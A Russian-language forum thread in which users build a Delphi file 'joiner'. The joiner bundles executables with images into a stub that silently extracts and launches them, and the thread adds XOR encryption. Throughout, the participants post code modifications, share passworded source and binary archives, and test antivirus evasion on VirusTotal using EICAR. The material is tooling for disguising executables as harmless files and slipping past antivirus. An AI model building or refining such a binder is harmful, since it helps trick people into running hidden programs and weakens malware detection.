ВАЖНО А не написать-ли нам Джойнер самим !?

Нужно-ли развивать данную тематику ?

  • Да

    Голосов: 20 100.0%
  • Нет

    Голосов: 0 0.0%

  • Всего проголосовало
    20

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 122
Репутация
8 238
Олег,а можно сделать без этого вбивания вручную имён?
Ну если это так важно для тебя, можно сделать что-бы запускалось без ввода вручную, в стабе найди этот код:
Код:
for i:=0 to 100 do
	begin
	  if (_fileHeader._filenameStart[i]<>'') then
		ShellExecute(0,nil,pchar(string(ShortPath)+string(_fileHeader._filenameStart[i])),nil,nil,SW_SHOW);
	end;

Закоментарь его, а вместо него вставь это:
Код:
ShellExecute(0,nil,pchar(string(ShortPath)+string(_fileHeader._filename[i])),nil,nil,SW_SHOW);

Теперь стаб будет запускать все склеенные файлы...

Что-бы запускать по расширению нужно парсить _fileHeader._filename тут хранится имя файла, т.е. нужно в цикле определить файлы по расширению и их запускать, пример:
Код:
Index:Integer;
 
for i:=0 to 100 do
 
begin
 
Index := Pos('.exe', _fileHeader._filename[i] ); //Проверяем есть-ли .exe в имени
 
// Если экзешник то запускаем
 
if (Index>0) then ShellExecute(0,nil,pchar(string(ShortPath)+string(_fileHeader._filename[i])),nil,nil,SW_SHOW);
 
end

Ну и не забудь потом поменять константу: const mySize=17920; это размер стаба, если неправильно укажешь размер, стаб не заработает !
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Ну и не забудь потом поменять константу: const mySize=17920; это размер стаба, если неправильно укажешь размер, стаб не заработает !
Благодарю,Олег!Будем пробовать.
P.S.Индийский код с комментариями -классный My mind !
Кстати вот ещё пример джойнера на делфи.В архиве (там можно посмотреть и другие продукты DH).
и ещё написанные на PERL.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 122
Репутация
8 238
P.S.Индийский код с комментариями -классный My mind !
Индийский, это потому-что был глюк непонятно из-за чего, а решение было так-себе, хотя работает и ладно...

Я вообще хочу всё переделать по нормальному !Отдыхай!!!

Что-бы запускать по расширению, сделай так, найди в стабе этот код:
Код:
	for i:=0 to 100 do
		begin
		  if (_fileHeader._filenameStart[i]<>'') then
			ShellExecute(0,nil,pchar(string(ShortPath)+string(_fileHeader._filenameStart[i])),nil,nil,SW_SHOW);
		end;

И замени на это:
Код:
jpg:Integer;
exe:Integer;
png:Integer;
gif:Integer
for i:=0 to 100 do
begin
exe := Pos('.exe', _fileHeader._filename[i] ); //Проверяем есть-ли .exe в имени
jpg := Pos('.jpg', _fileHeader._filename[i] ); //Проверяем есть-ли .jpg в имени
png:=Pos('.png', _fileHeader._filename[i] ); //Проверяем есть-ли .pngв имени
gif:=Pos('.gif', _fileHeader._filename[i] ); //Проверяем есть-ли .gif в имени
// Теперь если вхождения есть, то запускаем:
if (exe>0) or  (jpg>0) or (png>0) or (gif>0) then ShellExecute(0,nil,pchar(string(ShortPath)+string(_fileHeader._filename[i])),nil,nil,SW_SHOW);
 end

Запустит только файлы с расширением exe, jpg, png, gif, а другие запускать не будет !

Тут всё очень просто, функцией Pos проверяем вхождение в строку, строки ".exe", если вхождение есть, то функция вернёт значение >0, далее проверяем больше нуля-ли переменная exe, если да, то запускаем файл при помощи API винды ShellExecute:

В данном случае так:ShellExecute(0,nil,pchar(string(ShortPath)+string(_fileHeader._filename)),nil,nil,SW_SHOW);

Проверку делаем в цикле, ах-да я не написал, здесь есть ограничение на склейку, максимум можно склееть 100 файлов, т.к. я не использую динамические массивы...

Это ограничение можно увеличить, если нужно !WinkSmile
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 122
Репутация
8 238
Вот по быстрому накидал:

1)Будет автоматически запускать png,exe,gif,pdf,jpg,txt

2)Добавил шифрование XOR;

Тут всё просто, в стабе для расшифровки сделал самописную функцию алгоритма XOR:

Шифровка-Расшифровка в данном случае одно и тоже, т.к. функция обратима, читайте про алгоритм XOR !

Код:
function XorCrypt(Mes: Char): Char;  //Вспомогательная функция для шифрования XOR
var i,Key: integer;
	s: Char;
begin
s:=mes;
Key:=111;  //Это ключ
s:=Chr(ord(mes)  xor Key);  // Шифруем
Result:=s;  //Результат
end;

Далее, где идёт распаковка, просто шифруем _buf:
Код:
for j:=1 to _fileHeader._filesize[i] do
begin
ReadFile(_fileSource, _buff, sizeOf(_buff), _temp, nil);//Считываем данные из стаба в _buff)
_buff:=XorCrypt(_buff);// Расшифровываем эти данные
WriteFile(_fileDist, _buff, sizeOf(_buff), _temp, nil);//Записываем расшифрованные данные в распакованный файл
end;

В конструкторе немного по другому, т.к. данные идут блоком:
Код:
repeat
ReadFile(_fromFile, _buff, sizeOf(_buff), _temp, nil); //Считываем данные из фала, который хотим склееть в _buff
for m:=0 to sizeOf(_buff)-1 do
  _buff[m]:=Chr(ord(_buff[m])  xor Key);	//Шифруем эти данные с ключом Key=111
WriteFile(_distFile, _buff, _temp, _temp2, nil); //Записываем эти шифрованные данные в стаб
ZeroMemory(@_buff, sizeOf(_buff));//Чистим память
until _temp<>1025;

Обновил исходники и бинарники, пароль:111
 

Вложения

  • ДЖОЙНЕР.rar
    502.9 КБ · Просмотры: 29

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 122
Репутация
8 238
2)Добавил шифрование XOR;
Вот склеил с картинкой EICAR, сбил детект, хотя большенство всё-равно детектят:

Пароль:111
 

Вложения

  • Детка.rar
    39.8 КБ · Просмотры: 18

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 122
Репутация
8 238
Без шифрования то-же самое:

Убрался детект Доктор Веба, что-то я ничего не понимаю !Не въехал!!! Не въехал!!! Не въехал!!!

Пароль:111
 

Вложения

  • 4444.rar
    19.5 КБ · Просмотры: 17

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 122
Репутация
8 238
Что-то я не пойму как работает детект на ВТ, это не сигнатурный детект, вот для примера EICAR, изначально детектят почти все:

Далее если склеить моим джойнером остаётся 17, причём без разницы криптовать файлы или нет, выходит на ВТ тестятся и на запуск файлы тоже, иначе как они обнаруживают какой файл запускается из темпа !Не въехал!!! Не въехал!!! Не въехал!!!
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Что-бы запускать по расширению, сделай так, найди в стабе этот код:
Я тут могу и своих расширений дописать.Вот отлично когда код так подробно раскладывают,до мелочей.А то часто мануалы рассчитаны на более-менее прошареных в кодинге.
Я сейчас попробовал склеить скрин в формате png с экзешничком и нифига,запустился только экзе.Дело было в буквах:)У меня "ножницы" сохраняют так file.PNG,а в коде просто png.После склейки ,безопасные файлы стали иметь такой .
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 122
Репутация
8 238
После склейки ,безопасные файлы стали иметь такой рейтинг на ВТ.
Это из-за шифрования, только хуже сделал...

Старый стаб:

Новый с шифрованием:

Доктор веб начал детектить из-за шифрования файлов !
 

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
2 780
Репутация
4 652
Олег,а у меня другие данные по твоиему старом стабу:)
Старый стаб:
Новый с шифрованием:
Правда хэш у нас с тобой не совпадает у старых стабов.
 
Верх Низ